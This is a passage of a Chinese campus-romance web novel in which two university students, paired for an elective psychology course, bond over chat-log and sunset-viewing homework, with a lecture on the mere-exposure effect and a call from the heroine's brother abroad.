片刻后,宿舍里忽然掀起一阵狂笑。
“哈哈哈哈哈哈……你们俩……聊得好像……人机。”宋词笑得捂着肚子,眼角这次真的笑出了眼泪,说话断断续续的,几个字几个字地蹦出。
程以凌脸上面膜笑得直抖,随时有掉落的风险,最后她索性一把撤下,笑得直不起腰。
楚忘殊:“……”
有这么好笑吗?
她夺回手机,上下滑动,看着两人的聊天记录,很正常啊。
程以凌这时总算平静下来,看到楚忘殊在划拉聊天记录,凑过来问她:“你俩在这互相报备呢?”
程以凌说完这句,不知道那句话又戳到了她的笑点,她没再说话,只一只手拍着楚忘殊的肩膀。
楚忘殊看着再次笑得前仰后合的三人,一脸黑线。
宋词走过来和楚忘殊坐在一起,“月亮,为什么你们俩每天就互相发张图片,然后配两三个字啊?”
楚忘殊:“让对方知道自己此刻在
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做什么啊?图片配文字解释,言简意赅。”
宋词还是觉得好笑,这两人的聊天记录不知道的还以为是看图说话呢,并且还是很人机的那种回答。
看那个老师作业那意思,是让两人多聊点天互相了解,没想到让这两人干成了看图说话。
闹了一会儿,宿舍总算安静了下来。
楚忘殊洗漱好,溜上床躺好,入睡前习惯性地看了一眼消息——还是一片空白。
算了,断就断了吧,这可不能怪她。
第二天早晨,眼光避过窗帘窜进宿舍,给屋内然后一层金灿灿的鎏金。
楚忘殊醒来,宿舍静悄悄的。
她拿过手机,发现才早上七点十六,正准备接着睡,余光忽然瞥见手机上那个纯白的头像。
她混沌的脑袋顿时有了短暂的清明。
【ZYB:今天有点事需要去锡城处理,抱歉没及时回消息。】
【ZYB:(图片)】
【ZYB:这是我去锡城遇到的,觉得很适合你,当作赔罪礼物。】
发消息的时间是23:58。
楚忘殊点开放大图片,发现是一个玛瑙手链,配色清新自然,还有她名字的缩写,是她喜欢的品味。
【CWS:没事没事,这没什么,每个人都会有忙的时候。】
【CWS:礼物不用了。】
虽然那串手链很附合她的口味,但无功不受禄,何况还看着就价值不菲。
她翻了个身,准备继续睡。
下一秒手机细微的震动声传来,【ZYB:手链我随手买的,你不要也就失去了它的作用,你不喜欢的话随便放在一个地方就行,或者送别人也行。】
见他这样说,楚忘殊不再推脱,手链她挺喜欢的,大不了下次再送还他点什么来交换。
【CWS:好吧,那谢谢!】
【ZYB:周一我拿给你。】
江大湖边,杨柳随风飘动,阳光倾泻而下,洒在波光粼粼的湖面上。
湖水小道上的椅子上,一身黑衣的祝屿白坐在上面,视线落在湖面上,手里摩梭着一个黑金色的木盒。
刚放下的手机又有电话响起,屏幕显示周学长。
祝屿白接通,对方一个男声响起,“公司问题已经解决了,对方同意以我们提供的方案继续合作。”
他低着头,简单嗯了声。
他大二申请了出国的交换生,在国外和周琰结识。
周琰比他大五届,是他的直系学长。周琰当时正打算回国发展,认识祝屿白后,两人一拍即合,回国开了公司。
周琰当时只是看中祝屿白的能力,没想到最后才发现他商业头脑也不错,公司大多决策都是祝屿白提出,而他大多处于执行的位置。
那头的男人说完公事,忽又开口:“哎,你那个礼物送出去了没?”
“嗯。”祝屿白说话的风格一贯冷硬,可这次似乎稍有缓和。
“你太着急了,哪有刚认识人家女孩子就送人礼物的,你可别吓到人家。”周琰颇有经验地道。
祝屿白难得默了一瞬,低头看向手里的木盒。
“好,我下次注意。”
这次确实是他太着急了。
他做事一向习惯准备妥当,一切胸有成竹之后再着手做。
可是这次……
那时他走在锡城街头,夜色微凉,恰好看到那些玛瑙,总觉得她会喜欢。
5. 搭子日记五
快乐的时光总易逝,明明感觉什么都没做,两天的周末又没了。
大学中最痛恨的时间大概就是周一起床赶早八了。
楚忘殊也不例外。
她昨晚熬了个大夜,这会儿距离八点只有十五分钟,而她还躺在床上。
“早八能不能滚出大学啊啊啊啊!!!!”
隔壁床的宋词暴躁出声。
楚忘殊无比赞同,一心只想再睡个昏天黑地。
然后身体比大脑先做出反应,她眼睛还没睁开,身体已经慢慢从床上坐起。
稀稀疏疏的起床声逐渐唤醒整个宿舍,众人开始洗漱。
楚忘殊在洗漱间眼睛半眯着刷牙,突然想到今天早上第一节课是那节选修课。
她眼睛猛地睁大,加快手上的动作。
总不能每次上课都擦着点到吧。
洗漱好,她随手从桌上拿了个面包,拎上书包边直奔教室而去。
幸好,在尹老师进教室的同时,她也到了座位上。
她驾轻就熟地走到最后一排,祝屿白早早就坐在了上面。
“早上好,你来得好早啊。”
楚忘殊边放下书包边和他打招呼。
祝屿白微微撇头,视线落在她身上,嘴角勾了勾,“你今天来得确实早。”
语气含着不明显的笑意。
楚忘殊在说出口的时候就意识到了不对劲,毕竟她是踩着点来的,两三分钟之后就上课,这时候明显不早了。
只是话到了嘴边,没控制住就脱口而出。
或许还有一个原因是尴尬,毕竟两人又不熟,但在接下来的课程里还要合作,总不能见面连个招呼都不打。
她撕开面包咬了口,眼前忽然多出个木盒。
盒子上搭着一只冷白的手,手指修长,指甲修剪圆润,手背上脉络分明。
“手链。”
祝屿白言简意赅给她解释。
楚忘殊想起来是他之前说的“赔罪礼物”。
她居然忘了这茬。
望着手里被咬了一口的面包,她思考着要不要分他一半。
不行不行,太寒碜了。
她呆愣的时间,祝屿白再次开口,“70。”
“啊?”
楚忘殊没反应过来。
“你不是觉得不能无功不受禄吗?而且是我没经过你同意就擅自买的。”
教室里叽叽喳喳的声浪一阵高过一阵,在最后一排这个方圆之地内,祝屿白清润的声音慢慢解释着。
“所以你如果有负担,就当我是代购的。”
心里的小心思就这样被他挑明,楚忘殊也不觉得尴尬,笑了一下,“好。”
说着边放下面包拿起手机准备转账。
“我不想要转账,可以现金吗?”
祝屿白忽然说。
楚忘殊停下手里的动作,应了声好。
不理解,但尊重。
讲台上传来拍手声。
“好了同学们,我们开始上课。”尹老师打开投影仪,上面出现一个二维码。
“在进行今天的课程内容之前,我们先来交上节课的作业。”他指着二维码,“开始扫码吧。”
楚忘殊扫完,发现是学习通里面这节课的课程码。
她往祝屿白的方向侧了侧身,看他的是什么。
祝屿白将界面朝向她的方向,方便她看清楚。
看清是同样的内容后,两人对视一眼,而后同步看向讲台。
“大家加入课程班级群后,再作业提交板块那将你和你的搭子聊天记录空间管理那截屏提交。”尹老师敲敲黑板,笑着强调:“不要直接截聊天记录哦,老师可不想看你们的隐私。”
教室里被他逗得笑声一片。
楚忘殊看着手机上显示着的42.6MB,莫名有些不好的预感。
这老师不会要以这个的大小计算平时分吧?
救命,早知道多聊点了!
“都交完了吗?”尹老师环顾一圈,询问道。
没人回答,只是有人默默点头。
尹老师继续道:“没人回答没准备好,那看来是准备好了。”
他在手机上将作业提交截止。
“我们这次的作业打分就按照你们聊天记录的容量大小来啊,现在我们来看看最高的是多少。”
他说着点开截图看,“找到了,1.9GB——李自珩和朱思悦,这两位同学看来聊得挺好啊,100分。”
“现在该到最少的了。”
他说着又打开查看作业截图。
“42.6MB——楚忘殊和祝屿白。”
楚忘殊头低着埋在立起来的书里,恨不得原地挖个坑跳进去躺会。
他们居然是最后一名……
好社死啊!
她煎熬着,祈祷老师赶紧跳过这一环节。
不料越害怕什么越发生什么。
“这两位的同学很耳熟啊,是不是上节课那个‘一见钟情’的同学?”尹老师扶正眼睛,一脸好奇。
下面的学生很兴奋地回答是。
祝屿白学神威名在外,这还是难得一见他拿最低分。
“看来这位同学还是不够勇敢哈。”老师善意地调侃了句,终于放过了他们。
楚忘殊哭丧着脸,一脸歉疚。
这样的情景太尴尬了,再也不要经历第二次,下次的作业一定好好完成!
“你们知道我为什么要给你们布置上周的作业吗?”尹老师回到讲台上,脸在投影仪下的灯光下明暗交替。
他没等人回答,直接按了课件的下一页,标题占据满页——“人际交往中的曝光效应。”
老师讲课的嗓音很舒服,轻重缓急兼备,不会平铺直叙让人听得直打瞌睡。
就连楚忘殊都开始认真听了起来。
曝光效应,也叫熟悉效应。意思是某个人只要经常出现在面前,就能增加我们对TA的喜欢程度。
当然,曝光效应不只出现在人际交往中,生活当中还有很多与熟悉效应有关的现象。
例如很多时候我们看自己的照片都会觉得不顺眼,但是我们的朋友看的时候可能会觉得还不错,还有诸如很多商品需要打广告也是这个原因。
见面多真的会增加喜欢的程度吗?
楚忘殊戳戳祝屿白的手臂,压低声音和他讨论:“你觉得这个观点对吗?”
祝屿白:“观点正确。但对我来说不适用,但我希望它有用。”
楚忘殊:?
他在说什么绕口令?
什么叫对他不适用但他希望它有用?
“老师,那是不是说,如果我喜欢某个人,我只要多在她面前晃悠就行了?”
靠窗第三排一个男生提问。
“这个同学的提问非常好。”尹老师指向他,“答案是——不是。”
“心理学家做过一些实验,单纯的曝光——就像刚才那位同学说的晃悠,并不会完全地增加好感,它更多的是放大了原始的情感。”
尹老师在过道上走着,“什么意思呢,就是说还需要看
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‘原始情感’。”
“当别人对我们的原始情感是正面的——例如喜欢、好感,那么频繁性的出现确实会产生放大性的效果,可能这种好感会变成喜欢,喜欢变成爱。”
“但是如果刚接触的时候别人对我们产生的是一种负面的情绪——比如厌恶、反感,那么这个时候曝光率越高可能会使得这种厌恶的情绪不断放大。”
“另外同学们还得记住一点,即使你追求的对象对你的原始情感是积极正向的,你也不能操之过急,整天跟着人家屁股后面转,因为重复出现次数过多,也可能引起别人的厌烦。”
“而这个‘度’——就是你们需要在实际生活中学习的。”
“好啦,大家消化一下。”
尹老师端起讲桌上的保温杯,靠在椅子上轻抿几口,悠然地看着台下稚嫩的脸讨论。
班上的同学讨论得热火朝天,唯有最后一排冷清得好似不在同一空间。
楚忘殊无聊得开始转笔。
暖洋洋的阳光从窗户透过,窗外金灿灿的桂花在暖阳下摇曳生姿,沁人香味流进教室。
时间好像变成了软糯的巧克力蛋糕,惬意得让人想要沉溺期间。
砰——
楚忘殊手里的笔忽然飞出。
“不好意思不好意思。”
她手中的笔径直飞向祝屿白的平板上。
“没事。”祝屿白把笔捡起还给她。
递过来的瞬间,楚忘殊的目光落在他的平板上。
“你还记笔记?”
语气掩饰不住的惊讶。
学神果然不是任何人能成为的,这样公认的水课居然还认真记笔记。
“能借我看看吗?”
楚忘殊询问道,她是真的对学霸笔记好奇。
祝屿白:“稍等。”
他在平板上点了几下,似乎是关闭了什么界面,然后才将平板推过来。
楚忘殊接过,发现他没写多少。
他似乎对记笔记有自己的一套,只是粗略地写下“曝光效应”“见面”“讨厌?”“度”几个词。
楚忘殊看了几眼就将平板还给了他。
她目光在他的字体上停留了几秒,情不自禁地感叹:“真好看。”
“什么?”祝屿白忽然问。
楚忘殊这才发现她把心里的想法说出了声,“你的字。”
她说话的时候眼睛一直看着他的字,眼里的欣赏几乎快要溢出。
“我说你的字真好看。”
“哦。”
他嗓音显得有些遗憾。
楚忘殊看向他,她夸他字好看还不高兴啊?
难道是自己的话夸得太假了?语气太敷衍?
“真的,我真的觉得你的字很好看,我很喜欢你的笔锋,而且结构行云流水。”
楚忘殊对字有种莫名的执着,或许可以称作“字控”,看到好看的字,恨不得将人的废稿拿来收藏。
祝屿白忽而笑出声,看着她认真的神态,点点头,“嗯,我知道,谢谢你的喜欢。”
“不客气。”楚忘殊被他的笑晃了下眼,呆愣回复。
和祝屿白相处的时候,她还没怎么见过他笑,这一刻,她有点理解为什么她那三个舍友说这人是妖孽了。
长得太犯规了。
“好啦,大家都讨论完了吗?”尹老师敲敲黑板,将众人的注意力拉回他身上。
“接下来是这周的作业。”
众人目光集中在黑板上——
“和对方欣赏一次落日。”
6. 搭子日记六
不对劲,非常的不对劲。
楚忘殊杵着下巴蜷缩在椅子上想。
手机放在支架上,页面显示着和祝屿白的聊天界面。
上节课结束后,祝屿白大晚上忽然给她发了个莫名其妙的消息,问她讨厌他吗?
废话,谁会和自己讨厌的人组队啊?
她回了个“不啊。”
之后就没等到回复。
而后的几天,消息一直静悄悄的,祝屿白再没发过消息给她。
难道是在忙?
她心里疑惑,但还是耐住性子没发消息轰炸人家。
万一人家真有事呢?
但现在她忍不了了。
转眼已经到了周末,但两人的上节课的作业还没着落,她可不想这次再倒数第一,再在课堂上社死一次。
她决定主动出击,问他什么时候有时间,好去完成作业。
“月亮,手机上有什么,你眼睛都快黏在上面了。”
宋词观察了她好久,忍不住问道。
楚忘殊回过神,“没有,我在思考一个人为什么会突然不联络另一个人。”
“啊?”
宿舍三人同时惊呼出声,面面相觑。
难道这不开窍的笨蛋谈恋爱了?
三人迅速将椅子拉过来围拢在她身边。
“哎,说说那人谁呀?”宋词挤眉弄眼道。
“祝屿白啊。”
她不理解这三人又抽什么风,如实回答道。
“我去,不愧是你,居然把那朵高岭之花就这么拿下了!”程以凌大呼小叫道,对楚忘殊竖着个大拇指。
“你在说什么啊?”
几人聊天完全不在一个频道上,楚忘殊越听越糊涂。
韩霜言简意赅地总结:“你不是和祝屿白谈恋爱了吗?”
“对啊,不然你怎么会思考他不联络你?”程以凌丢了块黄瓜味的薯片在嘴里,“难道说学神是渣男!!!还没两周就始乱终弃了!!!”
“停!”
眼见话题越扯越歪,楚忘殊出声打断。
“我只是想完成作业好嘛……”
她给三人说了作业,以及上节课被点名起来的尴尬,随后一摊手,“事情就是这样。”
“我去,下学期我也要选这门课,这么浪漫的作业,谁不心动啊。”宋词一脸憧憬。
程以凌撞了撞楚忘殊的肩,“哎,月亮,话说你和祝大帅哥相处了这么久,就没擦出点火花什么的?”
“哪有多久?才一两节课好嘛。”楚忘殊解释道,“再说人家祝屿白只是接受了我的组队邀请,不是接受了我的恋爱邀请好嘛。”
“就你那比马里亚纳海沟还低的情商,”韩霜精准吐槽,“别人喜欢你你能看出来?”
楚忘殊:“……”
真是我的好室友。
一口难敌三嘴,楚忘殊没再继续为自己的“情商”争辩,她坚信事实胜于雄辩。
三人调侃得差不多,慢慢散开,回到自己的位置上做自己的事。
楚忘殊也开始继续刚才未完成的事。
【CWS:在吗?你什么时候有时间?】
她刚想打“我们挑个空闲时间去完成作业”,对面就回了消息,“我在,怎么了吗?”
楚忘殊将编辑好的字发过去,对方顿了片刻,而后回复:【明天?】
【CWS:OK。】
正事结束,两人默契地没再说话。
楚忘殊维持着原先打字的姿势,目光在界面上停留。
刚才舍友们的调侃涌上脑海,楚忘殊笑了笑,谁谈恋爱会是这样的?
她将手机丢到一边,打开一旁的电脑开始打算查资料完成专业课作业。
三秒后,她心里莫名烦躁,可能是对作业的抵触,也可能是别的什么,她完全无法静下心。索性打开上次没看完的纪录片,在椅子里寻了个舒服的姿势,看起纪录片来。
图书馆四楼自习室内,黑屏的平板倒映出祝屿白轮廓分明的脸。
他摩梭着手机,克制着自己不再发消息的冲动。
他打开平板,看着上节课的笔记。
他在“度”的旁边标注了一句话——
“重复出现次数过多,也可能引起别人的厌烦。”
所以,要忍住,不能出现得太频繁,让她讨厌。
翌日清晨,天气好得出奇。
湛蓝色天空上浮着连片的白云,碧绿色的树叶随风浮动。
下午三点,楚忘殊准时到达二期东门。
她和祝屿白说好在这里集合,一起去白塘湖完成日落作业。
在哪里都能完成日落作业,但楚忘殊最后决定去白塘湖——那里的风景最好看。
她倒也不是单纯为了风景好看,而是她多想了一步——
上周的作业评分标准是聊天记录的容量大小,那这次的肯定风景的好看程度!
她一定不能再成为倒数第一!
她把她的猜想和祝屿白说了后,他也赞同,两人一拍即合,决定将作业的完成地点选在白塘湖。
她刚到没几秒,祝屿白便到了门口。
他到的时候,楚忘殊还没发现,只顾着垂头看手机,在听到经过的几个女生发出的惊叹声她才反应过来。
她循声望去,祝屿白穿了件白色的冲锋衣,搭着一条黑色长裤,极其简单的衣服,他却穿出了高定的感觉。
只是,两人好像“撞色”了……
她穿着一件白T,搭着件防晒衣,往下是黑色短裙。
祝屿白走向楚忘殊的时候,她明显感觉周围的视线有意无意地落在他们身上。
她感觉拉上祝屿白上了车,隔绝开那些八卦的眼神。
“刘叔,去白塘湖。”
刘叔在他们家工作了十多年,本来主要是跟在她哥身边。后来她哥体恤刘叔在国外跟着他太过奔波,让他回了国,偶尔接送下楚忘殊。
刘叔看到楚忘殊和一个高高帅帅的男生一起进来的时候,有些许诧异,毕竟她往日带来的朋友都是女生。
听到她说话,他和蔼地应了声,注意力从祝屿白身上撤离,专心地开车。
后排楚忘殊的声音再次响起。
“喏,这是手链的钱。”
她从包里翻出现金,递到祝屿白的面前。
祝屿白盯着眼前的七张鲜红的钞票,沉思片刻,而后抬头,“我记得我当时说的是70,所以?”
他忽然将手背贴在她的额头上,“发烧了?70和700不分?”
“啊?没有啊,”楚忘殊下意识解释,“虽然我不知道手链价值多少,但肯定不止70,所以如果我给多了,就当是代购费;如果我给少了,那就当是友情价。”
她晃晃手里的钱,故作质疑地问:“还是说我们的祝大学神觉得我不够格做你的朋友?”
祝屿白被她逗乐,接过她递过来的钱,“嗯,你当然够格。”
但我不想只和你做朋友。
车子驶上高速,车窗外的风景不断变化,林立的高楼逐渐被翠绿的树木替代。
白塘湖到了。
下车后,楚忘殊呆滞了一瞬——地面全是人,一个接着一个,完全没有空袭。
完蛋,她当时只想着找个风景好的地方好得到高分,忘了这样的地方的人流量也是最大的。
照这样的趋势,他们能不能完成作业还得画个问号,更别说得高分。
她转过头,一脸生无可恋,“我们可能无法完成作业了……”
“跟我来,我知道还有一个地方人比较少。”祝屿白安慰她道。
楚忘殊眼睛瞬间亮起来,点点头,亦步亦趋地跟在他身后。
祝屿白说得没错,他知道的那个地方人更少,角度也更适合欣赏日落。
当然,路也更难走。
楚忘殊看着那条逼仄而又陡峭的小道,心里有些发怵。她低头看了眼自己的穿着,思考如果摔倒如何能减轻
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伤害。
“抱歉,这条路不太好走。”祝屿白在旁边开口,随后将手递到楚忘殊面前,“如果不介意的话,我拉你。”
楚忘殊顺着手臂看向他。他的脸在逆光中有些模糊,脸型轮廓沾染了金色,让人有无限遐想的空间。
她不知不觉就看呆了。
直到没得到她的回应、眼前再次晃动起来的手抓回她的注意力。
“不介意不介意,”她利落地伸出手,落在他手心里,“谢谢。”
他手掌很大,触碰的那一瞬间微凉,而后便是滚烫的热量从掌心源源不断地传来。
好像他这个人,初见总觉得高冷寡言,和他接触后才会发现他那藏匿在面具下的温柔。
终于到达湖边。
祝屿白率先放开手,而后转向湖边,抬头去看日落。
从楚忘殊的角度,只能看到他的耳朵。
她微仰头,才发现现在太阳还很大,怪不得把旁边这人的耳朵都热红了。
这边人虽少,但也不是完全没人。
看穿着偏日常,大多是本地居民。
想想也是,这么偏僻的路,外地游客来也找不到啊。
楚忘殊驻足远眺,准备好好欣赏一番美景。
虽说是为了作业才出来,但也不能只是为了作业。
橘红色的太阳像个火球挂在天边,将一望无际的湖水镀上一层金光,波光粼粼的水面时不时荡起一层波浪,波浪撞击着岸边的石头,哗啦啦的声音好似情人的轻声呢喃,带着无尽的缱绻。
楚忘殊拿出早就准备好的相机,开始尝试各个角度的拍摄。
一道落拓的身影忽然入境。
暗金色的湖水、火红的落日、热烈的红色与紫色交织的天空、长身玉立的少年,四者交相辉映,编织出一份绝美的画卷。
“咔嚓——”
楚忘殊按下快门,将这一刻定格。
她一路小跑,到祝屿白身边,“你看,这张照片拍得怎么样?”
没等他回答,她率先自顾自地夸起来,“这是我拍过最好的照片,光影恰到好处,布局也不错,还有还有,色彩简直棒极了!”
一连串得话说完,她忽然意识到自己太过自卖自夸,脸上浮现一丝羞赧。
“当然,还是人好看才衬得我拍的好。”
祝屿白看着她微红的脸,毫不吝啬地夸奖,“还是你拍得好,换个人就不能拍出这样的效果了。”
楚忘殊也不扭捏,顺着他的话继续臭屁起来,“说得也是。”
两人相视一笑。
“现在应该可以了,我们找个人帮我们拍个合照吧。”楚忘殊望着一半身影已没入天边的落日,四处张望着提议道。
一个摇着蒲扇,穿着件大红色薄衫的阿婆在两人身边驻足。
她操着一嘴本地方言,对着两人说话。
楚忘殊一个字听不懂,扯了扯祝屿白的袖子。
他朝她点点头,接着切换方言和阿婆交流起来。
他嗓音本就好听,此时说着配着这儿弯弯绕绕的方言,更别有一番滋味。
没说几下,祝屿白接过楚忘殊手里的相机,双手递给阿婆。
楚忘殊明白了阿婆是想帮两人拍照。
阿婆的拍照姿势很专业,还指挥两人摆好姿势,很快,他们得到了今天出行的目的——日落下的合照。
两人向阿婆道谢,阿婆爽朗笑了一声,又说了句什么,拍拍两人肩膀,慢慢摇着蒲扇离开。
楚忘殊:“阿婆最后说什么?”
“她说祝你开心。”
“真的吗?可是她说了好长一句哎。”
“方言嘛。”
“好吧。”楚忘殊将相机放回包里,“走了,今天的任务圆满完成!”
祝屿白落她半步,视线紧随着前方蹦蹦跳跳的人,耳边又响起刚才阿婆的话——
“小伙子,这是你女朋友吗?很漂亮的哎,两人很般配嘛,祝你们开心哦。”
7. 搭子日记七
回程的路上,楚忘殊没叫刘叔来接,两人一起坐地铁回学校。
他们回去没有碰上晚高峰,地铁上人不多。
两人找了个位置坐下。
楚忘殊伸手接过祝屿白手里的包,那装着她的相机,之前他担心她拿着太重接了过去。
她凑近镜头看照片。
不愧是她,拍得就是好!她嘴角扬起,显然很满意。
最后一张是那位阿婆拍的,是两人的合照。
祝屿白身影微微偏向她,眼神落在她身上,而她在朝着镜头笑,身后是橘黄色的余晖。
构图完美!
他们这次一定能拿到最高分!
她喜滋滋地收好相机,靠着地铁上的椅子眯眼。
她太久没有这么大幅度的出行了,出来一次好累。
意识逐渐模糊,她小鸡啄米似的点着头,最后头无意识地朝旁边偏去——落在祝屿白的肩上。
肩膀一沉,祝屿白小心地转过头,视线落在楚忘殊泛着一层薄红的脸上。
她皮肤白,脸稍红一些就格外明显。
祝屿白调整了坐姿,让她尽可能睡得舒服些。
手悬在旁边,防止她撞到。
一站又一站,车厢里人来人往,各自寻找着自己的目的地。
空间一角内,两人就这样静谧地等待着终点站的到来。
“前方到站江大嘉禾校区东站,下车时请注意脚下安全。”
地铁播报声响起,楚忘殊悠悠转醒。
“到了吗?”她脑袋还有点懵。
祝屿白拎起包,“嗯,走吧,下车。”
这站人流量较多,楚忘殊回头去看祝屿白跟上没,却看到他在活动胳膊。
宕机的脑袋线路再次接通,她忽然想起方才她靠着人肩膀睡觉。
“抱歉啊,我刚才实在太困了。”下车后,她立马跑到祝屿白身边,接过他手上的东西,不好意思地说道。
祝屿白没给她,“没事,我拎就好。”
上下车的人太多,楚忘殊没再坚持,坐上电梯去往出站口。
到了女生宿舍楼下,祝屿白将装着相机的包递给她。
“谢啦。”楚忘殊接过,“下节课见,拜拜。”
祝屿白忽然喊了她一声。
她应声停下,迷茫地回过头看向她,“怎么了?”
几片落叶哗啦而下,隔在两人之间。
祝屿白刚要张嘴说什么,一阵来电铃声打断。
楚忘殊看了眼来电显示,又抬眼看向祝屿白,问他想说什么。
祝屿白:“没事,你接电话吧,我走了。”
楚忘殊:“哦,好。”
她转身边走边掏门禁卡。
祝屿白站在原地,望着她的身影消失,随后提步离开。
这边的楚忘殊在电话即将自动挂断的前一秒接通了电话。
“喂,哥。”
电话那头传来声轻笑:“哟,我还以为你已经忘了你哥了,电话也不打一个。”
楚忘殊挑眉,“这不是越洋电话太贵了嘛,你知道我很穷的。”
“敢情是想问我要钱了啊,等着。”
下一秒,楚忘殊收到一条短信,是银行的,显示她的收到一笔六位数的转账。
“给你的话费,下次再不打电话给我,就等着我亲自回来算账吧。”
“好的,哥哥,您放心,您想接到什么频率的来电,小的保证按时按量地满足。”楚忘殊换了一副嘴脸,十分狗腿子地谄媚道,手上还不忘把“爆金币”的备注改成了“亲爱的哥哥”。
“少来,我还不知道你,你就收点钱的这一会儿能嘴甜点。”楚砚青轻嗤。
“好吧,你找我干嘛?”楚忘殊恢复正常语气。
楚砚青听着电话里传来的截然不同的语气,点点头,十分满意,这才是那丫头的本来面目。
“当然是履行兄长对妹妹的关心。”
楚忘殊:“你到底想问什么?”
楚砚青:“听说你谈恋爱了?”
“啊?”楚忘殊一脸震惊,见鬼似的盯着手机,恨不得将楚砚青从屏幕里拽出来问清楚。
楚砚青:“啊什么啊,刘叔说的。”
楚忘殊一脸黑线,想起来刚才下午刘叔送她和祝屿白去白塘湖。
“那就是朋友。而且我们是去完成小组作业的。”她耐着性子解释。
“哦,这样啊。”楚砚青拖腔带调地道,听不出是可惜还是庆幸。
“我不反对你谈恋爱,但要学会看人懂吗?……哎哎哎,你抢我手机干嘛?”
楚忘殊刚想感叹楚砚青的唠叨又要开始了,就听电话那头他声音逐渐减弱。
而后手机传来一道清冽的嗓音:“小殊,是我。”
免了自家老哥叽里呱啦的唠叨,楚忘殊很满意,听出电话那头的声音,笑着回应:“泊希哥,你在我哥那啊?”
沈泊希是楚砚青的朋友,经常会跟着楚砚青来看楚忘殊。
他是一名画家,去年刚获威尼斯双年展的金狮奖。
沈泊希温和地笑了一下,“对,我这两周都在这里。”
楚忘殊:“那刚好,泊希哥你赶紧让我哥沾点你艺术家的气息,别总是那么唠叨。”
电话那边楚砚青抗议的声音隐隐约约传来。
两人聊了很久,最后在楚砚青强烈的不满中打断,将手机使用权夺回。
“楚忘殊我看你是忘了谁才是你亲哥,跟我话不投机半句多,跟沈泊希这家伙就聊得热火朝天的。”楚砚青开口就像吃了火药般暴躁。
楚忘殊补刀道:“谁叫你每次都要给我念半天紧箍咒的。”
楚砚青:“你还是多和你这陌生哥聊几句吧,你那异父异母的亲哥下周就回国了,你们可以当面聊。”
“那你呢?”听到沈泊希回国的消息,她下意识追问。
“看来钱没白花,还不算没良心,知道关心一下。”楚砚青语气好了很多,“我肯定会回来,但得推迟几周,下周公司事情很多。”
楚忘殊:“好吧。”
楚砚青反常地沉默了下,最后带着点小心翼翼道:“下个月是她生日,你回来吗?”说着似乎是怕她不高兴,又接着说,“回来的话我就可以和你一起走,送你回来。”
楚忘殊捏着手机的手指泛白,咬着牙回道:“她应该不希望看到我。”
说完不等楚砚青说话,急急忙忙地说了句“泊希哥回来的时候叫我,我去机场接他。”便挂断了电话。
电话挂断音在房间响起,楚砚青垂下手,整个人靠在沙发里,望着窗外黑茫茫的夜色,轻声呢喃:“还是不可以吗?”
这儿与华国的时差将近十二个小时,他每次和楚忘殊打电话都会提前定闹钟起床,方便她的时差。
沈泊希拍拍他的肩膀,算是给了他安慰,随后进了房间,将空间留给楚砚青。<
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p>他站在窗边,看着头顶高悬的明月,往下看是夜晚城市的灯红酒绿,霓虹灯将天空染上一层薄红,星星几乎看不得,只有一轮弯月散发着银色的光辉。
——
楚忘殊人生第一次没有慌慌张张地赶早八,而是提前二十分钟坐在教室里。
她以为她肯定是最早的,没想到一眼就看到了最后排的祝屿白。
“你也太早了吧。”楚忘殊把早餐边往嘴里送,边惊叹道。
“来占座。”
楚忘殊眼睛亮起来,看着祝屿白认真说:“谢谢你,让我明白我和学霸也是有共同点的。”
祝屿白:“什么?”
“都喜欢最后一排啊。”
祝屿白愣了一会才反应过来,顺着她的话,“嗯,我们确实有很多共同点。”
“哎,你说这次老师的评分标准是什么?”楚忘殊眼睛好奇地看着他,询问道,“你大二不是上过尹老师的课,那你猜测一下尹老师的套路。”
“我觉得……应该会按照拍摄水平高低?”祝屿白听她提起他上学期上过尹老师的课,眼神闪烁了下,边说边偷瞄楚忘殊的反应,说出地自己的推测。
“哎,我也是这么觉得的!”楚忘殊很兴奋,看来这次的高分稳了!
分针转了一圈又一圈,教室里逐渐坐满人。八点整,因老师胳膊夹着他标志性的黑色保温杯,准时踏进教室。
“好啦,同学们,现在我们继续我们的老惯例——先交作业。”
交作业的流程和上次一样。
楚忘殊迅速提交,然后挺直腰背,正经危坐,等待着老师下一步动作。
祝屿白被她严肃的动作迷惑,学着她之前的动作,戳戳她的胳膊,“你干什么?”
“嘘!好好听课。”
这还是第一次有人“警告”祝屿白好好听课,他忍俊不禁。
不过片刻后也就真的闭嘴,好好听课了。
今天的老师好磨蹭,等待截止作业提交的时间好长,投影仪打开的速度也好慢……
似乎那那都变得龟速运行。
终于,尹老师的流程启动——
“提交截止了啊,都交了吧?”
“没人回答,看来都交了。”
楚忘殊等着他公布评分标准,不料下一秒他的话如惊雷般炸在耳边:“好了,同学们可以看系统上的分数了。”
楚忘殊不解地看向手机——十分醒目的100分。
“大家应该都看到分数了,大家的猜测没错,这次作业只要交了照片都是一百分。”
“这次作业的目的是希望大家能有更具体的交流,延续上节课的‘曝光效应’理论,而不是比拼大家的摄影技术,那是摄影专业同学该干的事,咱们不需要哈。”
楚忘殊傻眼了,好像得了高分,又好像没得。
她想起不久前她和祝屿白信誓旦旦地推测,怕旁边这位学霸受到打击,慢悠悠地开口,“尹老师这个人就是不按套路出牌。”
与此同时,祝屿白也开口安慰她:“没事,至少我们欣赏到了一份绝美日落。”
两人说完,都觉得好笑。
等众人讨论完,尹老师道:“我先说,这次课结束后没有作业,不过下节课的作业我会当堂布置,大家做好准备,当然不用担心,都很简单。”
最后排的楚忘殊和祝屿白对视一眼,两人都从对方眼里读出一条信息——
真的简单吗?
8. 搭子日记八
月上柳梢头,银色的清辉洒向大地,路上几盏路灯闪着微弱的昏黄灯光。
从教室走出来,一阵凉风席卷全身,赶走全身的疲惫。
这周的晚课终于结束,路过池塘边,清新的荷花香萦绕在空气中,楚忘殊如释重负地耸耸肩。
她周五只有两节课,四舍五入马上周末了!
宿舍一如既往地叽叽喳喳——主要是宋词和程以凌,两人热火朝天地讨论着最新的恋综,细数自己cp的糖点,差点为哪对cp才最好嗑打起来。
宿舍的大家长——韩霜没参与两人的辩论,穿了件白色睡衣躺在床上,似乎正在看数学文献?
楚忘殊将外套脱下,挂在衣架上,拉开椅子后仰着靠上去。
休息了片刻,她拿起包将今天带去的课本悉数拿出,准备将明天要带的东西刚进去,免得明早手忙脚乱。
一个不明物品引入眼帘,是一只纯白色的电容笔。
楚忘殊疑惑地拿起笔,仔细看笔身,发现笔的尾部有三个字母“CYB”。
明显不是她的。
哪里来的呢?
她灵光一闪,忽然想起是早上那节选修课,下课时她收拾东西太着急,似乎不小心把祝屿白的东西也收拾了……
她仔细端详着笔,所以这是祝屿白的?
但不应该是ZYB吗?为什么是CYB?
